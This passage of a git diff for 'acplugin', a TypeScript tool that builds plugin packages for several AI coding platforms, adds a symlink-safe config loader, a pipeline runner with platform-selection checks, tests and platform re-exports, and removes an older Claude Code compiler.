'.claude-plugin/marketplace.json', skills: scanSkillsDir(pluginDir), instructions: [], mcp: null, agents: [], commands: [], hooks: null, pluginFiles: [], rootDir: pluginDir, }; break; case 'agents-dir': result = { - meta, agents: scanAgentsDir(pluginDir), + meta, metadataSource: '.claude-plugin/marketplace.json', agents: scanAgentsDir(pluginDir), skills: [], instructions: [], mcp: null, commands: [], hooks: null, pluginFiles: [], rootDir: pluginDir, }; break; case 'commands-dir': result = { - meta, commands: scanCommandsDir(pluginDir), + meta, metadataSource: '.claude-plugin/marketplace.json', commands: scanCommandsDir(pluginDir), skills: [], instructions: [], mcp: null, agents: [], hooks: null, pluginFiles: [], rootDir: pluginDir, }; break; default: // plugin-root 与 unknown 都按完整 Plugin 尝试扫描。 - result = scanPlugin(pluginDir, meta); + result = scanPlugin(pluginDir, meta, '.claude-plugin/marketplace.json'); } - // 空条目不会生成没有意义的规范工程成员。 - /** 当前扫描结果中可迁移资源的数量。 */ - const resourceCount = result.skills.length + result.agents.length - + result.commands.length + (result.hooks ? Object.keys(result.hooks).length : 0); - if (resourceCount > 0) { - results.push(result); - } + // Marketplace 选择语义以清单条目为准;MCP-only 或 metadata-only Plugin 仍是合法工程。 + results.push(result); } return results; diff --git a/packages/acplugin/src/migration/legacy/types.ts b/packages/acplugin/src/migration/legacy/types.ts index 5bd606d..926604b 100644 --- a/packages/acplugin/src/migration/legacy/types.ts +++ b/packages/acplugin/src/migration/legacy/types.ts @@ -20,12 +20,12 @@ export interface SkillFrontmatter { 'hooks'?: Record; } -/** 旧 Skill 目录中除 SKILL.md 外的辅助文本文件。 */ +/** 旧 Skill 目录中除 SKILL.md 外、需要按原始字节保留的辅助文件。 */ export interface SkillAuxFile { /** 相对于 Skill 目录的路径,例如 `references/doc.md`。 */ relativePath: string; - /** 迁移时原样保留的文本内容。 */ - content: string; + /** 旧辅助文件的绝对来源路径,迁移时直接执行字节复制。 */ + sourcePath: string; } /** Legacy Scanner 读取的完整旧 Skill。 */ @@ -230,6 +230,8 @@ export interface ScanResult { commands: Command[]; /** 可选的旧 Hooks 配置。 */ hooks: Hooks | null; + /** Hooks 实际读取文件的绝对路径;没有 Hooks 时省略。 */ + hooksSourcePath?: string; /** 未分类的 Plugin 级资源文件。 */ pluginFiles: PluginResourceFile[]; /** 当前 ScanResult 对应的绝对来源根目录。 */ @@ -240,6 +242,8 @@ export interface ScanResult { export interface PluginScanResult extends ScanResult { /** 旧 Plugin 清单元数据。 */ meta: PluginMeta; + /** 元数据实际来自的来源根相对清单路径。 */ + metadataSource: string; } /** Marketplace 扫描清单及其中成功解析的全部 Plugin。 */ diff --git a/packages/acplugin/src/platforms/antigravity.ts b/packages/acplugin/src/platforms/antigravity.ts new file mode 100644 index 0000000..aab0e97 --- /dev/null +++ b/packages/acplugin/src/platforms/antigravity.ts @@ -0,0 +1,2 @@ +export { antigravity, PLATFORM_API_VERSION, PLATFORM_ID } from '@acplugin/platform-antigravity'; +export type { AntigravityPlatformOptions } from '@acplugin/platform-antigravity'; diff --git a/packages/acplugin/src/platforms/claude-code.ts b/packages/acplugin/src/platforms/claude-code.ts new file mode 100644 index 0000000..057f43d --- /dev/null +++ b/packages/acplugin/src/platforms/claude-code.ts @@ -0,0 +1,6 @@ +export { claudeCode, PLATFORM_API_VERSION, PLATFORM_ID } from '@acplugin/platform-claude-code'; +export type { + ClaudeCodeMarketplaceOptions, + ClaudeCodeMarketplaceOwner, + ClaudeCodePlatformOptions, +} from '@acplugin/platform-claude-code'; diff --git a/packages/acplugin/src/platforms/codex.ts b/packages/acplugin/src/platforms/codex.ts new file mode 100644 index 0000000..bf21ac2 --- /dev/null +++ b/packages/acplugin/src/platforms/codex.ts @@ -0,0 +1,9 @@ +export { codex, PLATFORM_API_VERSION, PLATFORM_ID } from '@acplugin/platform-codex'; +export type { + CodexCategory, + CodexInterfaceOptions, + CodexMarketplaceInstallation, + CodexMarketplaceOptions, + CodexMarketplacePolicyOptions, + CodexPlatformOptions, +} from '@acplugin/platform-codex'; diff --git a/packages/acplugin/src/platforms/cursor.ts b/packages/acplugin/src/platforms/cursor.ts new file mode 100644 index 0000000..48b4384 --- /dev/null +++ b/packages/acplugin/src/platforms/cursor.ts @@ -0,0 +1,2 @@ +export { cursor, PLATFORM_API_VERSION, PLATFORM_ID } from '@acplugin/platform-cursor'; +export type { CursorPlatformOptions } from '@acplugin/platform-cursor'; diff --git a/packages/acplugin/src/platforms/opencode.ts b/packages/acplugin/src/platforms/opencode.ts new file mode 100644 index 0000000..f706352 --- /dev/null +++ b/packages/acplugin/src/platforms/opencode.ts @@ -0,0 +1,2 @@ +export { openCode, PLATFORM_API_VERSION, PLATFORM_ID } from '@acplugin/platform-opencode'; +export type { OpenCodePlatformOptions, OpenCodeWorkspaceOptions } from '@acplugin/platform-opencode'; diff --git a/packages/acplugin/src/platforms/pi.ts b/packages/acplugin/src/platforms/pi.ts new file mode 100644 index 0000000..f888c5b --- /dev/null +++ b/packages/acplugin/src/platforms/pi.ts @@ -0,0 +1,2 @@ +export { pi, PLATFORM_API_VERSION, PLATFORM_ID } from '@acplugin/platform-pi'; +export type { PiPackageOptions, PiPlatformOptions } from '@acplugin/platform-pi'; diff --git a/packages/acplugin/src/project-config.ts b/packages/acplugin/src/project-config.ts new file mode 100644 index 0000000..a43192e --- /dev/null +++ b/packages/acplugin/src/project-config.ts @@ -0,0 +1,211 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { createJiti } from 'jiti'; +import { + resolveConfig, + type BuildCommand, + type BuildMode, + type Diagnostic, + type ResolvedConfig, + type UserConfig, + type UserConfigExport, +} from '@acplugin/core'; +import { claudeCode } from '@acplugin/platform-claude-code'; +import { codex } from '@acplugin/platform-codex'; + +/** 表示配置文件读取、执行或 Core 配置解析失败,并携带可安全展示的结构化诊断。 */ +export class ProjectConfigError extends Error { + /** 可直接写入 CLI JSON 报告的配置诊断。 */ + readonly diagnostics: readonly Diagnostic[]; + + /** + * 创建配置加载错误并保留底层原因供内部调试。 + * + * @param message 面向用户的安全错误摘要。 + * @param diagnostics 已清理的结构化配置诊断。 + * @param cause 不直接展示给用户的底层异常。 + */ + constructor(message: string, diagnostics: readonly Diagnostic[], cause?: unknown) { + if (cause === undefined) + super(message); + else + super(message, { cause }); + this.name = 'ProjectConfigError'; + this.diagnostics = diagnostics; + } +} + +/** Core 内部配置加载器使用的文件定位与执行上下文。 */ +export interface LoadProjectConfigOptions { + /** 解析相对路径使用的工作目录,默认为当前进程目录。 */ + cwd?: string; + /** 相对于 cwd 的配置路径,默认为 `acplugin.config.ts`。 */ + configPath?: string; + /** 当前执行的 CLI/运行时命令。 */ + command: BuildCommand; + /** 传递给配置函数的开发或生产模式。 */ + mode: BuildMode; +} + +/** Core 内部消费的已解析配置及共享 TypeScript Module 加载能力。 */ +export interface LoadedProjectConfig { + /** 完成默认值、路径和 Extension 校验的不可变配置。 */ + readonly config: ResolvedConfig; + /** 配置入口和通过共享加载器实际读取的 Extension descriptor 绝对路径。 */ + readonly watchFiles: ReadonlySet; + /** descriptor 所属且需要递归监听解析依赖的真实 Package 根。 */ + readonly watchRoots: ReadonlySet; + /** + * 使用与配置文件相同的 Jiti 实例加载 Extension 引用。 + * + * @param modulePath TypeScript Module 文件路径。 + * @returns 模块的默认导出。 + */ + loadTypeScriptModule(modulePath: string): Promise; +} + +/** + * 通过 Jiti 导入模块的默认导出,并屏蔽其泛型返回细节。 + * + * @param jiti 当前项目配置专用且禁用缓存的 Jiti 实例。 + * @param modulePath 待执行模块路径。 + * @returns 模块默认导出。 + */ +async function importDefault(jiti: ReturnType, modulePath: string): Promise { + return jiti.import(modulePath, { default: true }); +} + +/** + * 查找 descriptor 所属的最近 package 根,以覆盖其同包解析依赖。 + * + * @param modulePath 已解析的 descriptor 绝对文件路径。 + * @returns 最近含 package.json 的目录;找不到时回退到文件所在目录。 + */ +async function nearestPackageRoot(modulePath: string): Promise { + /** 未找到 package.json 时使用的 descriptor 所在目录。 */ + const fallback = path.dirname(modulePath); + /** 从 descriptor 目录逐级向上查找的当前候选。 */ + let current = fallback; + while (true) { + try { + await fs.access(path.join(current, 'package.json')); + return current; + } catch { + /** 当前目录的父目录;到达文件系统根时停止。 */ + const parent = path.dirname(current); + if (parent === current) + return fallback; + current = parent; + } + } +} + +/** + * 安全加载、执行并解析项目的 TypeScript 配置入口。 + * + * 配置文件必须是普通非符号链接文件;每次调用使用无缓存 Jiti,确保 dev 重建读取最新内容。 + * + * @param options 配置路径与执行上下文。 + * @returns Core 已解析配置和后续 Extension 共用的 TypeScript 加载函数。 + * @throws 配置访问、执行或语义校验失败时抛出 ProjectConfigError。 + */ +export async function loadProjectConfig(options: LoadProjectConfigOptions): Promise { + /** 所有配置相对路径解析使用的绝对工作目录。 */ + const cwd = path.resolve(options.cwd ?? process.cwd()); + /** 本次运行实际加载的配置绝对路径。 */ + const configPath = path.resolve(cwd, options.configPath ?? 'acplugin.config.ts'); + /** 可安全展示且不泄露 cwd 前缀的配置路径。 */ + const displayPath = path.relative(cwd, configPath).split(path.sep).join('/') || path.basename(configPath); + try { + /** 配置入口自身的文件类型和符号链接状态。 */ + const stat = await fs.lstat(configPath); + if (!stat.isFile() || stat.isSymbolicLink()) + throw new Error('Configuration must be a regular non-symlink file.'); + } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { + /** 根据文件是否缺失生成稳定且不暴露底层异常文本的失败原因。 */ + const reason = (error as NodeJS.ErrnoException).code === 'ENOENT' + ? 'file does not exist.' + : 'file cannot be accessed as a regular non-symlink file.'; + /** 配置访问失败时供异常与诊断共用的消息。 */ + const message = `Cannot load ${displayPath}: ${reason}`; + throw new ProjectConfigError(message, [{ + code: 'CONFIG_LOAD_FAILED', + severity: 'error', + message, + phase: 'config', + location: { path: displayPath }, + }], error); + } + + /** 当前配置及其引用 Extension 共用的无缓存 TypeScript 执行器。 */ + const jiti = createJiti(import.meta.url, { interopDefault: true, moduleCache: false, fsCache: false }); + /** dev 需要监听的配置入口与后续实际加载 descriptor 路径。 */ + const watchFiles = new Set([configPath]); + /** dev 需要递归监听且不能被 node_modules 通用规则过滤的依赖根。 */ + const watchRoots = new Set(); + /** 配置文件尚未调用的默认导出。 */ + let exported: UserConfigExport; + try { + exported = await importDefault(jiti, configPath) as UserConfigExport; + } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { + /** 配置代码无法求值时使用的安全消息。 */ + const message = `Cannot evaluate ${displayPath}.`; + throw new ProjectConfigError(message, [{ + code: 'CONFIG_EVALUATION_FAILED', severity: 'error', message, phase: 'config', location: { path: displayPath }, + }], error); + } + /** 静态导出或配置函数执行后得到的原始用户配置。 */ + let value: UserConfig; + try { + value = (typeof exported === 'function' + ? await exported({ command: options.command, mode: options.mode }) + : exported) as UserConfig; + } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { + /** 配置函数执行失败时使用的安全消息。 */ + const message = `Configuration function in ${displayPath} failed.`; + throw new ProjectConfigError(message, [{ + code: 'CONFIG_FUNCTION_FAILED', severity: 'error', message, phase: 'config', location: { path: displayPath }, + }], error); + } + if (value === null || typeof value !== 'object' || Array.isArray(value)) { + throw new ProjectConfigError('acplugin.config.ts must export a config object or a function returning one.', [{ + code: 'CONFIG_EXPORT_INVALID', + severity: 'error', + message: 'acplugin.config.ts must export a config object or a function returning one.', + phase: 'config', + location: { path: displayPath }, + }]); + } + + /** Core 配置解析结果,包含诊断以及成功时的 ResolvedConfig。 */ + const resolved = resolveConfig(value, configPath, options.command, options.mode, { + defaultPlatforms: [claudeCode(), codex()], + }); + if (!resolved.config) { + /** 为 CLI 与程序化 API 组合的简要错误文本;结构化诊断仍完整保留。 */ + const details = resolved.diagnostics.map(diagnostic => `${diagnostic.code}: ${diagnostic.message}`).join('\n'); + throw new ProjectConfigError(details || 'Configuration is invalid.', resolved.diagnostics); + } + /** 通过错误分支后已确认存在的最终解析配置。 */ + const config = resolved.config; + /** 用于避免把本就递归监听的工程根重复提升为依赖包根的真实路径。 */ + const projectRealRoot = await fs.realpath(config.root).catch(() => config.root); + return { + config, + watchFiles, + watchRoots, + /** loadTypeScriptModule 提供当前对象协议要求的回调实现。 */ loadTypeScriptModule: async (modulePath) => { + /** descriptor 的逻辑绝对路径,用于保留符号链接入口的变化事件。 */ + const resolvedPath = path.resolve(modulePath); + /** descriptor 的真实路径,用于 pnpm 符号链接后的包源码监听。 */ + const realPath = await fs.realpath(resolvedPath).catch(() => resolvedPath); + watchFiles.add(resolvedPath); + watchFiles.add(realPath); + /** descriptor 所属包根;工程自身无需绕过 node_modules 忽略规则。 */ + const packageRoot = await nearestPackageRoot(realPath); + if (packageRoot !== projectRealRoot) + watchRoots.add(packageRoot); + return importDefault(jiti, modulePath); + }, + }; +} diff --git a/packages/acplugin/src/run-project.ts b/packages/acplugin/src/run-project.ts new file mode 100644 index 0000000..6d139f2 --- /dev/null +++ b/packages/acplugin/src/run-project.ts @@ -0,0 +1,125 @@ +import { promises as fs } from 'node:fs'; +import { + executeLifecycle, + type BuildResult, + type Diagnostic, + type PlatformId, +} from '@acplugin/core'; +import { + loadProjectConfig, + ProjectConfigError, + type LoadProjectConfigOptions, +} from './project-config.js'; + +/** 公开程序化 Pipeline 的配置定位和运行控制选项。 */ +export interface RunProjectOptions extends LoadProjectConfigOptions { + /** 可选的已配置 Platform 子集;不能凭 ID 临时实例化 Platform。 */ + platforms?: readonly PlatformId[]; + /** 可选的统一 Platform 兼容性严格度覆盖。 */ + strict?: boolean; + /** 是否把生成结果提交到 outDir。 */ + commit?: boolean; +} + +/** CLI dev 在公开报告之外需要的内部执行与监听快照。 */ +export interface ProjectExecution { + /** 固定生命周期产生的公开构建报告。 */ + readonly result: BuildResult; + /** 配置解析后的工程绝对根目录。 */ + readonly projectRoot: string; + /** 当前构建完全托管且必须从监听中排除的输出目录。 */ + readonly outDir: string; + /** 配置、工程根和已加载 Extension descriptor 组成的绝对监听路径。 */ + readonly watchPaths: readonly string[]; + /** 允许递归穿过 node_modules 忽略规则的已解析依赖包根。 */ + readonly dependencyRoots: readonly string[]; +} + +/** + * 执行项目 Pipeline,并为 CLI dev 返回不进入公开报告的监听快照。 + * + * @param options 配置定位、命令模式和运行时覆盖选项。 + * @returns 公开构建报告与内部绝对监听路径。 + */ +export async function executeProject(options: RunProjectOptions): Promise { + /** 已加载的配置、TypeScript Module 解析能力与加载路径记录。 */ + const loaded = await loadProjectConfig(options); + /** Extension bundler 在本轮生命周期内实际读取的 Handler/Server 模块图。 */ + const lifecycleWatchFiles = new Set(); + /** 可能应用 CLI Platform 子集覆盖的最终运行配置。 */ + let config = loaded.config; + if (options.platforms !== undefined || options.strict !== undefined) { + /** CLI 指定或配置原有的 Platform ID 列表。 */ + const platformIds = options.platforms ?? config.platforms.map(item => item.platform.id); + /** 显式 Platform 子集自身违反的选择约束。 */ + const selectionDiagnostics: Diagnostic[] = []; + if (options.platforms?.length === 0) { + selectionDiagnostics.push({ + code: 'CLI_PLATFORM_SELECTION_EMPTY', + severity: 'error', + message: 'Platform selection must contain at least one configured Platform.', + phase: 'config', + }); + } + /** 选择列表中按首次重复顺序稳定排列的 Platform ID。 */ + const duplicates = [...new Set(platformIds.filter((id, index) => platformIds.indexOf(id) !== index))]; + /** id 表示当前只报告一次的重复 Platform ID。 */ + for (const id of duplicates) { + selectionDiagnostics.push({ + code: 'CLI_PLATFORM_SELECTION_DUPLICATE', + severity: 'error', + message: `Platform "${id}" is selected more than once.`, + phase: 'config', + platform: id, + }); + } + /** CLI 请求但配置中不存在的 Platform ID。 */ + const missing = [...new Set(platformIds.filter(id => !config.platforms.some(item => item.platform.id === id)))]; + selectionDiagnostics.push(...missing.map(id => ({ + code: 'CLI_PLATFORM_NOT_CONFIGURED', + severity: 'error' as const, + message: `Platform "${id}" is not configured; add its factory to platforms first.`, + phase: 'config', + platform: id, + }))); + if (selectionDiagnostics.length > 0) + throw new ProjectConfigError('CLI Platform selection is invalid.', selectionDiagnostics); + /** 对全部选中 Platform 应用的可选严格度覆盖。 */ + const strict = options.strict; + /** 保持配置顺序且只包含所选 ID 的最终 Platform 列表。 */ + const platforms = config.platforms + .filter(item => platformIds.includes(item.platform.id)) + .map(item => ({ ...item, strict: strict ?? item.strict })); + config = { ...config, strict: strict ?? config.strict, platforms }; + } + /** validate/inspect 永不提交;build/dev 允许程序化调用方显式关闭事务提交。 */ + const commit = (options.command === 'build' || options.command === 'dev') && (options.commit ?? true); + /** 唯一固定生命周期产生的公开结果。 */ + const result = await executeLifecycle({ + config, + loadTypeScriptModule: loaded.loadTypeScriptModule, + commit, + /** 生命周期只登记依赖,本层决定它们如何进入 dev 监听边界。 */ + onWatchFile: file => lifecycleWatchFiles.add(file), + }); + /** 同时保留解析路径与真实路径,使 symlink workspace 的依赖编辑同样可触发重建。 */ + const watchedModuleFiles = new Set(); + for (const file of lifecycleWatchFiles) { + watchedModuleFiles.add(file); + try { + watchedModuleFiles.add(await fs.realpath(file)); + } catch { + // 构建后立即删除的依赖由原路径继续监听,下一次重建负责给出正式诊断。 + } + } + /** 配置入口、工程根、描述文件和实际 Bundle 模块图组成的去重监听边界。 */ + const watchPaths = [...new Set([ + config.root, + ...loaded.watchFiles, + ...loaded.watchRoots, + ...watchedModuleFiles, + ])].sort((left, right) => left.localeCompare(right, 'en')); + /** Extension descriptor 所属且需要递归监听的去重真实包根。 */ + const dependencyRoots = [...loaded.watchRoots].sort((left, right) => left.localeCompare(right, 'en')); + return { result, projectRoot: config.root, outDir: config.outDir, watchPaths, dependencyRoots }; +} diff --git a/packages/acplugin/test/config-loader.test.ts b/packages/acplugin/test/config-loader.test.ts new file mode 100644 index 0000000..e5f29f4 --- /dev/null +++ b/packages/acplugin/test/config-loader.test.ts @@ -0,0 +1,127 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { loadProjectConfig, ProjectConfigError } from '../src/project-config.js'; + +/** 每个配置加载测试创建并在 afterEach 中删除的临时工程。 */ +const roots: string[] = []; + +/** dotenv 隔离测试使用且不会由项目其他逻辑读取的环境变量名。 */ +const DOTENV_KEY = 'ACPLUGIN_CONFIG_LOADER_DOTENV_FIXTURE'; + +/** 测试开始前宿主环境可能已经存在的变量值。 */ +const originalDotenvValue = process.env[DOTENV_KEY]; + +/** + * 创建含指定 acplugin.config.ts 源码的临时工程。 + * + * @param source TypeScript 配置模块源码。 + * @returns 临时工程绝对路径。 + */ +async function project(source: string): Promise { + /** 当前测试独占的临时工程根目录。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-config-loader-')); + roots.push(root); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), source); + return root; +} + +afterEach(async () => { + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); + if (originalDotenvValue === undefined) + delete process.env[DOTENV_KEY]; + else + process.env[DOTENV_KEY] = originalDotenvValue; +}); + +describe('config loader', () => { + it('loads object, sync factory, and async factory exports', async () => { + /** 三种受支持配置导出形式的源码。 */ + const sources = [ + `export default { name: 'object-config', version: '1.0.0', description: 'Object.' }`, + `export default ({ command }) => ({ name: 'sync-config', version: '1.0.0', description: command })`, + `export default async ({ mode }) => ({ name: 'async-config', version: '1.0.0', description: mode })`, + ]; + /** 三种配置分别加载后的统一名称。 */ + const names: string[] = []; + for (const source of sources) { + /** 当前导出形式对应的临时工程。 */ + const cwd = await project(source); + /** Jiti 执行并由 Core 解析的最终配置。 */ + const loaded = await loadProjectConfig({ cwd, command: 'build', mode: 'production' }); + names.push(loaded.config.metadata.name); + } + + expect(names).toEqual(['object-config', 'sync-config', 'async-config']); + }); + + it('fresh-loads changed config source during dev', async () => { + /** 初始版本为 1.0.0 的临时工程。 */ + const cwd = await project(`export default { name: 'fresh-config', version: '1.0.0', description: 'Fresh.' }`); + /** 第一次无缓存配置加载。 */ + const first = await loadProjectConfig({ cwd, command: 'dev', mode: 'development' }); + await fs.writeFile(path.join(cwd, 'acplugin.config.ts'), `export default { name: 'fresh-config', version: '2.0.0', description: 'Fresh.' }`); + /** 文件变化后的第二次无缓存配置加载。 */ + const second = await loadProjectConfig({ cwd, command: 'dev', mode: 'development' }); + + expect(first.config.metadata.version).toBe('1.0.0'); + expect(second.config.metadata.version).toBe('2.0.0'); + }); + + it('does not automatically load project .env files', async () => { + delete process.env[DOTENV_KEY]; + /** 配置尝试读取仅存在于项目 .env 的值。 */ + const cwd = await project(`export default { + name: 'dotenv-config', + version: '1.0.0', + description: process.env.${DOTENV_KEY} ?? 'not-loaded', + }`); + await fs.writeFile(path.join(cwd, '.env'), `${DOTENV_KEY}=loaded-secret\n`); + /** 不启用 dotenv 的最终加载结果。 */ + const loaded = await loadProjectConfig({ cwd, command: 'validate', mode: 'production' }); + + expect(loaded.config.metadata.description).toBe('not-loaded'); + expect(process.env[DOTENV_KEY]).toBeUndefined(); + }); + + it('surfaces legacy fields and explicit empty platforms as structured errors', async () => { + /** 同时包含两个旧字段和显式空 Platform 集合的非法配置。 */ + const cwd = await project(`export default { + name: 'legacy-config', + version: '1.0.0', + description: 'Legacy.', + targets: ['codex'], + modules: [], + platforms: [], + }`); + + await expect(loadProjectConfig({ cwd, command: 'validate', mode: 'production' })).rejects.toSatisfy((error: unknown) => { + if (!(error instanceof ProjectConfigError)) + return false; + /** 配置加载错误携带的全部稳定诊断码。 */ + const codes = error.diagnostics.map(item => item.code); + return codes.includes('CONFIG_LEGACY_TARGETS') + && codes.includes('CONFIG_LEGACY_MODULES') + && codes.includes('CONFIG_PLATFORMS_EMPTY') + && error.diagnostics.some(item => item.hint?.includes('platforms: [claudeCode(), codex()]')); + }); + }); + + it('records loaded Extension descriptors and their local dependency root for dev', async () => { + /** descriptor 监听测试使用的有效配置工程。 */ + const cwd = await project(`export default { name: 'watch-config', version: '1.0.0', description: 'Watch.' }`); + /** 模拟 Extension discover 阶段加载的本地 TypeScript descriptor。 */ + const descriptor = path.join(cwd, 'extensions/example.ts'); + await fs.mkdir(path.dirname(descriptor), { recursive: true }); + await fs.writeFile(descriptor, `export default { enabled: true };\n`); + /** 共享 Jiti 加载器及其实时监听路径集合。 */ + const loaded = await loadProjectConfig({ cwd, command: 'dev', mode: 'development' }); + + await loaded.loadTypeScriptModule(descriptor); + + expect(loaded.watchFiles).toContain(path.join(cwd, 'acplugin.config.ts')); + expect(loaded.watchFiles).toContain(descriptor); + expect(loaded.watchRoots).toContain(await fs.realpath(path.dirname(descriptor))); + }); +}); diff --git a/packages/acplugin/tsdown.config.ts b/packages/acplugin/tsdown.config.ts index b3501f8..6901b87 100644 --- a/packages/acplugin/tsdown.config.ts +++ b/packages/acplugin/tsdown.config.ts @@ -1,11 +1,17 @@ import { defineConfig } from 'tsdown'; import { fileURLToPath } from 'node:url'; -// 主包同时生成库入口与可执行 CLI;私有 Core/Compiler 会内联,Migration 通过动态导入保留独立 Chunk。 +// 主包同时生成库入口与可执行 CLI;私有 Core/Platform 会内联,Migration 通过动态导入保留独立 Chunk。 export default defineConfig({ entry: { - index: fileURLToPath(new URL('./src/index.ts', import.meta.url)), - cli: fileURLToPath(new URL('./src/cli.ts', import.meta.url)), + 'index': fileURLToPath(new URL('./src/index.ts', import.meta.url)), + 'cli': fileURLToPath(new URL('./src/cli.ts', import.meta.url)), + 'platforms/claude-code': fileURLToPath(new URL('./src/platforms/claude-code.ts', import.meta.url)), + 'platforms/codex': fileURLToPath(new URL('./src/platforms/codex.ts', import.meta.url)), + 'platforms/cursor': fileURLToPath(new URL('./src/platforms/cursor.ts', import.meta.url)), + 'platforms/antigravity': fileURLToPath(new URL('./src/platforms/antigravity.ts', import.meta.url)), + 'platforms/opencode': fileURLToPath(new URL('./src/platforms/opencode.ts', import.meta.url)), + 'platforms/pi': fileURLToPath(new URL('./src/platforms/pi.ts', import.meta.url)), }, format: ['esm'], platform: 'node', @@ -18,12 +24,19 @@ export default defineConfig({ deps: { alwaysBundle: [ '@acplugin/core', - '@acplugin/compiler-claude-code', - '@acplugin/compiler-codex', + '@acplugin/platform-antigravity', + '@acplugin/platform-claude-code', + '@acplugin/platform-codex', + '@acplugin/platform-cursor', + '@acplugin/platform-opencode', + '@acplugin/platform-pi', + '@tokenroll/acplugin-extension-mcp', ], onlyBundle: [ - 'semver', + 'image-size', + 'saxes', 'yaml', + 'xmlchars', ], }, }); diff --git a/packages/compiler-claude-code/src/index.ts b/packages/compiler-claude-code/src/index.ts deleted file mode 100644 index 2acad73..0000000 --- a/packages/compiler-claude-code/src/index.ts +++ /dev/null @@ -1,158 +0,0 @@ -import { - bytesArtifact, - markdownWithFrontmatter, - stableJson, - type AgentCapability, - type Compiler, - type CompilerContext, - type CompilerOutput, -} from '@acplugin/core'; - -/** Claude Code Compiler 对应的稳定目标平台 ID。 */ -export const CLAUDE_CODE_TARGET = 'claude-code'; - -/** 只能由 Core Compiler 生成、Module 不得替换的 Claude Plugin 清单字段。 */ -const RESERVED_MANIFEST_FIELDS = new Set([ - 'name', 'version', 'description', 'commands', 'skills', 'agents', -]); - -/** - * 将 Module 贡献的非保留字段合并进 Claude Plugin 清单。 - * - * @param context 当前目标的 Compiler 上下文。 - * @param manifest 正在组装且由调用方持有的清单对象。 - * @throws Module 覆盖保留字段或多个 Module 贡献同名字段时抛出异常。 - */ -function mergeManifestFields(context: CompilerContext, manifest: Record): void { - /** 记录每个扩展字段的唯一贡献 Module,防止依赖顺序静默决定结果。 */ - const owners = new Map(); - for (const { module, contribution } of context.contributions) { - for (const [key, value] of Object.entries(contribution.manifestFields ?? {})) { - if (RESERVED_MANIFEST_FIELDS.has(key)) - throw new Error(`Module ${module} cannot replace reserved manifest field ${key}.`); - /** 已经声明当前扩展字段的 Module。 */ - const owner = owners.get(key); - if (owner) - throw new Error(`Manifest field ${key} is contributed by both ${owner} and ${module}.`); - owners.set(key, module); - manifest[key] = value; - } - } -} - -/** - * 把 Core 可移植 Agent 能力映射为 Claude Code 工具白名单。 - * - * @param capabilities Agent 声明的规范能力。 - * @returns 去重并稳定排序的 Claude Code 工具名称。 - */ -function claudeTools(capabilities: readonly AgentCapability[]): string[] { - /** 多种能力可能指向同一工具,因此先使用 Set 去重。 */ - const result = new Set(); - for (const capability of capabilities) { - for (const tool of ({ - 'filesystem:read': ['Read', 'Glob', 'Grep'], - 'filesystem:write': ['Write', 'Edit'], - 'search': ['Glob', 'Grep', 'WebSearch'], - 'shell': ['Bash'], - 'network': ['WebFetch', 'WebSearch'], - 'delegate': ['Agent'], - } satisfies Record)[capability]) - result.add(tool); - } - return [...result].sort(); -} - -/** - * 把 Core 模型档位映射为 Claude Code Agent 支持的模型别名。 - * - * @param model 可移植模型档位。 - * @returns Claude Code frontmatter 使用的模型值。 - */ -function claudeModel(model: 'inherit' | 'fast' | 'capable'): string { - if (model === 'fast') - return 'haiku'; - if (model === 'capable') - return 'sonnet'; - return 'inherit'; -} - -/** 将规范 PluginProject 编译为可安装的 Claude Code Plugin 目录。 */ -export const claudeCodeCompiler: Compiler = { - id: CLAUDE_CODE_TARGET, - /** - * 编译 Commands、Skills、Agents、Module 贡献和 Plugin 清单。 - * - * @param context Core 提供的规范工程、目标配置和 Module 贡献。 - * @returns 尚未写盘、将由 ArtifactGraph 统一校验的产物与兼容性记录。 - */ - async compile(context): Promise { - /** 当前目标累计生成的 Artifact 输入。 */ - const artifacts = []; - /** 当前目标每种 Component 映射的兼容性结论。 */ - const compatibility = []; - /** 便于各 Component 转换共享的规范工程。 */ - const { project } = context; - - for (const command of project.commands) { - /** Claude Command frontmatter,参数提示仅在存在时输出。 */ - const frontmatter: Record = { description: command.description }; - if (command.argumentHint) - frontmatter['argument-hint'] = command.argumentHint; - artifacts.push(bytesArtifact( - `commands/${command.id}.md`, - markdownWithFrontmatter(frontmatter, command.body.replaceAll('{{arguments}}', '$ARGUMENTS')), - )); - compatibility.push({ target: CLAUDE_CODE_TARGET, subject: `command:${command.id}`, capability: 'component', level: 'native', reason: 'Claude Code supports plugin Commands.' } as const); - } - - for (const skill of project.skills) { - artifacts.push(bytesArtifact(`skills/${skill.id}/SKILL.md`, markdownWithFrontmatter({ - 'name': skill.id, - 'description': skill.description, - 'user-invocable': skill.invocation.user, - 'disable-model-invocation': !skill.invocation.model, - }, skill.body))); - for (const auxiliary of skill.auxiliaryFiles) { - artifacts.push({ - path: `skills/${skill.id}/${auxiliary.path}`, - source: { type: 'file' as const, path: auxiliary.sourcePath }, - mode: auxiliary.mode, - }); - } - compatibility.push({ target: CLAUDE_CODE_TARGET, subject: `skill:${skill.id}`, capability: 'component', level: 'native', reason: 'Claude Code supports plugin Skills.' } as const); - } - - for (const agent of project.agents) { - /** 从规范能力映射并去重得到的 Claude Code 工具列表。 */ - const tools = claudeTools(agent.capabilities); - artifacts.push(bytesArtifact(`agents/${agent.id}.md`, markdownWithFrontmatter({ - name: agent.id, - description: agent.description, - model: claudeModel(agent.model), - tools: tools.length > 0 ? tools : undefined, - }, agent.body))); - compatibility.push({ target: CLAUDE_CODE_TARGET, subject: `agent:${agent.id}`, capability: 'component', level: 'native', reason: 'Claude Code supports plugin Agents.' } as const); - } - - /** 由 Core 字段和 Module 扩展共同构成的 Claude Plugin 清单。 */ - const manifest: Record = { - name: project.name, - version: project.version, - description: project.description, - }; - if (project.commands.length > 0) - manifest.commands = './commands/'; - if (project.skills.length > 0) - manifest.skills = './skills/'; - if (project.agents.length > 0) - manifest.agents = './agents/'; - mergeManifestFields(context, manifest); - artifacts.push(bytesArtifact('.claude-plugin/plugin.json', stableJson(manifest))); - - return { artifacts, compatibility }; - }, -}; - -/** 